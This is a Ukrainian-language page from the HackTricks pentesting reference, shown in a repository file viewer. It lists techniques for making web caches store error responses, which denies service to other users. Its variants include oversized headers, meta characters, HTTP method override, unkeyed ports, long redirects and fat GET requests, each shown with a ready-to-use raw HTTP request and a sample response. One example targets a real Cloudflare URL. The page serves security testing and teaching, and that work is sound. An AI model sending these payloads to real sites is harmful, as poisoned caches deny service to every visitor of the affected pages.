hacktricks/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md

126 lines
5.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Cache Poisoning to DoS
{{#include ../../banners/hacktricks-training.md}}
> [!CAUTION]
> На цій сторінці ви можете знайти різні варіації, щоб змусити **веб-сервер відповідати з помилками** на запити, які є **допустимими для кеш-серверів**
- **HTTP Header Oversize (HHO)**
Відправте запит з розміром заголовка, більшим за той, що підтримується веб-сервером, але меншим за той, що підтримується кеш-сервером. Веб-сервер відповість з кодом 400, який може бути кешований:
```
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
```
- **HTTP Meta Character (HMC) & Unexpected values**
Відправте заголовок, що містить деякі **шкідливі мета-символи**, такі як і . Щоб атака спрацювала, спочатку потрібно обійти кеш.
```
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
```
Погано налаштований заголовок може бути просто `\:` як заголовок.
Це також може спрацювати, якщо надсилаються несподівані значення, такі як несподіваний Content-Type:
```
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
```
- **Unkeyed header**
Деякі веб-сайти повернуть код статусу помилки, якщо вони **побачать деякі специфічні заголовки** в запиті, як-от заголовок _X-Amz-Website-Location-Redirect: someThing_:
```
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
```
- **HTTP Method Override Attack (HMO)**
Якщо сервер підтримує зміну HTTP-методу за допомогою заголовків, таких як `X-HTTP-Method-Override`, `X-HTTP-Method` або `X-Method-Override`, можливо запитати дійсну сторінку, змінюючи метод, так що сервер не підтримує його, і тому погана відповідь кешується:
```
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
```
- **Unkeyed Port**
Якщо порт у заголовку Host відображається у відповіді і не включений у ключ кешу, можливо перенаправити його на невикористовуваний порт:
```
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
```
- **Long Redirect DoS**
Як у наступному прикладі, x не кешується, тому зловмисник може зловживати поведінкою відповіді перенаправлення, щоб зробити так, щоб перенаправлення відправляло URL, який настільки великий, що повертає помилку. Тоді люди, які намагаються отримати доступ до URL без некешованого ключа x, отримають відповідь з помилкою:
```
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
```
- **Нормалізація регістру заголовка хоста**
Заголовок хоста повинен бути нечутливим до регістру, але деякі веб-сайти очікують, що він буде в нижньому регістрі, повертаючи помилку, якщо це не так:
```
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
```
- **Нормалізація шляху**
Деякі сторінки повернуть коди помилок, відправляючи дані URLencode у шляху, однак сервер кешу URLdecode шляху та зберігає відповідь для URLdecoded шляху:
```
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
```
- **Fat Get**
Деякі кеш-сервери, такі як Cloudflare, або веб-сервери, зупиняють GET-запити з тілом, тому це може бути використано для кешування недійсної відповіді:
```
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
```
## Посилання
- [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
- [https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------)
{{#include ../../banners/hacktricks-training.md}}